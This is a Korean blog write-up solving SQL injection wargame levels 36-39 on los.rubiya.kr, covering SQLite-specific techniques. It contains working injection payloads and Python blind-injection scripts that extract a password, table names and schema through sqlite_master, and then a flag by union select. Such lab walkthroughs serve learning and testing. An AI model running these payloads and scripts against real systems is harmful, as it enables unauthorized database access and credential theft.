[LOS] 36-39번 문제 풀이(chupacabra,manticore,banshee,poltergeist)

3 분 소요

💡 los.rubiya.kr 36-39번 문제에 대한 풀이입니다.

36번(chupacabra)

문제

image

풀이

기존 mysql에서의 DB와 몇 가지 문법만 다르고 대부분 동일한 로직으로 인젝션을 수행합니다.

현재 상황에서 필터링이 없으므로, 문자열을 escape한 뒤, 나머지 부분을 주석처리 해줍니다.

payload = id=admin' --

image

37번(manticore)

문제

image

manticore 문제는 이전 문제에서 addslashes() 함수를 통해서 single quote 등의 특수문자입력시 escape 처리를 하도록 유도한 것으로 보입니다.

하지만 mysql 에서는 escape 처리를 위해서 ‘\’ 문자를 입력해 주면 되었지만, sqlite에서는 다음과 같이 특수문자에 따라서 escape 문자가 다릅니다.

public static String sqliteEscape(String keyWord){
    keyWord = keyWord.replace("/", "//");
    keyWord = keyWord.replace("'", "''");
    keyWord = keyWord.replace("[", "/[");
    keyWord = keyWord.replace("]", "/]");
    keyWord = keyWord.replace("%", "/%");
    keyWord = keyWord.replace("&","/&");
    keyWord = keyWord.replace("_", "/_");
    keyWord = keyWord.replace("(", "/(");
    keyWord = keyWord.replace(")", "/)");
    return keyWord;
}

즉 이번 문제에서 문자열 탈출을 위해서 single quote의 escape 처리를 막은 것처럼 보이지만, single quote에 대한 escape 문자는 ‘'’ 이므로, 문자열을 탈출할 수 있습니다.

풀이

id = admin’ 을 입력한다고 가정하면 다음과 같이 admin\의 데이터를 찾게 됩니다. 따라서 이번에는 문자열에 ‘\’ 문자가 추가로 붙는 다는 점을 인지하여 우회하면 됩니다.

다음과 같이 payload를 작성하여 인젝션을 수행합니다.

id=' or id=char(97)||char(100)||char(109)||char(105)||char(110)--

image

38번(banshee)

문제

image

필터링이 없는 전형적인 blind sql injection 문제입니다.

기존 mysql에서 sqlite문법만 고려해서 페이로드를 작성해 줍니다.

풀이

코드를 보시면 알겠지만, 기존 mysql과 문법이 대부분 일치합니다.

import requests
import string

url = 'https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookies = {'PHPSESSID' : '7jocdhdj9b00ob8q1cfc13oos6'}
params= {'pw' : None}

pw_len = 0
for i in range(1,30):
    params['pw'] = "' or id='admin' and length(pw) = {}-- ".format(i)
    response = requests.get(url,cookies=cookies,params=params)
    print(params)
    if response.text.count("login success!") == 1:
        print("length(pw) == {}".format(i))
        pw_len = i
        break
domain = string.digits + string.ascii_lowercase 

pw = ''
for i in range(1,pw_len + 1):
    for j in domain:
        params['pw'] = "' or id='admin' and substr(pw,{},1) = '{}' -- ".format(i,j)
        print(params)  
        response = requests.get(url,cookies=cookies,params=params)
        if response.text.count("login success!") == 1:
            pw += j
            print("find the pw : {}".format(pw))
            break

코드 실행결과 다음과 같이 pw를 획득할 수 있습니다.

image

image

39번(poltergeist)

문제

image

주석에 있는 힌트는 다음과 같습니다.

// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.

blind sql injection을 수행하되, 현재 테이블이 아닌 다른 테이블에 있는 데이터를 찾아야 합니다.

풀이

mysql은 information_schema.tables를 이용해서 다른 테이블의 정보를 가져왔다면, sqlite는 sqlite_master 테이블에서 다른 테이블의 정보를 저장하고 있습니다.

sqlite_master 테이블의 스키마는 다음과 같습니다.

CREATE TABLE sqlite_master (
  type TEXT,
  name TEXT,
  tbl_name TEXT,
  rootpage INTEGER,
  sql TEXT
);

테이블 정보 가져오기

  • SELECT tbl_name FROM sqlite_master

컬럼 정보 가져오기

  • SELECT sql FROM sqlite_master WHERE tbl_name='Table_Nmae'
  • sql 정보는 ‘Table_Name’ 테이블을 만들 때 사용한 create sql문을 담고 있습니다. 별도의 컬럼 명이 따로 저장되지 않기 때문에 해당 정보에서 column 명을 가져와야 합니다.

테이블명 가져오는 코드

pw_len = 0
for i in range(5,30):
    params["pw"] = "' or length((select tbl_name from sqlite_master limit 1,1)) = {} --".format(i)
    response = requests.get(url,params=params,cookies=cookies)
    print(params)
    if "Hello guest" in response.text:
        print("find the pw_len ", i)
        pw_len = i
        break

domain = string.digits + string.ascii_lowercase
# 테이블 명
table_name = 'flag_'
for i in range(6,pw_len + 1):
    for j in domain:
        params["pw"] = "' or substr((select tbl_name from sqlite_master limit 1,1),{},1) = '{}'-- ".format(i,j)
        response = requests.get(url,params=params,cookies=cookies)
        print(params)
        if "Hello guest" in response.text:
            table_name += j
            print("find the table_name ", table_name)
            break

=> 테이블 명 : flag_70c81d99

컬럼 명 가져오는 코드

# sql 문 알아내기 - 이진 탐색 이용
sql = "CREATE TABLE flag_70c81d99"
for i in range(28,100):
    start,end= 0,127
    while True:
        search = (start + end) // 2
        params["pw"] = "' or unicode(substr((select sql from sqlite_master where tbl_name='flag_70c81d99'),{},1)) <= {}-- ".format(i,search)
        response = requests.get(url,params=params,cookies=cookies)
        print(params)
        if "Hello guest" in response.text:
            params["pw"] = "' or unicode(substr((select sql from sqlite_master where tbl_name='flag_70c81d99'),{},1)) = {}-- ".format(i,search)
            response = requests.get(url,params=params,cookies=cookies)
            print(params)
            if "Hello guest" in response.text:
                sql += chr(search)
                print("[{}] : {}".format(i,sql))
                break
            end = search
        else:
            start = search

=> 컬럼 명 : flag_0876285c

image

테이블 명과, 컬럼 명을 구했으니 해당 컬럼에 있는 데이터는 union select 구문을 이용해서 한 번에 알아낼 수 있습니다.

pw = ' union select flag_0876285c from flag_70c81d99 --

image

댓글남기기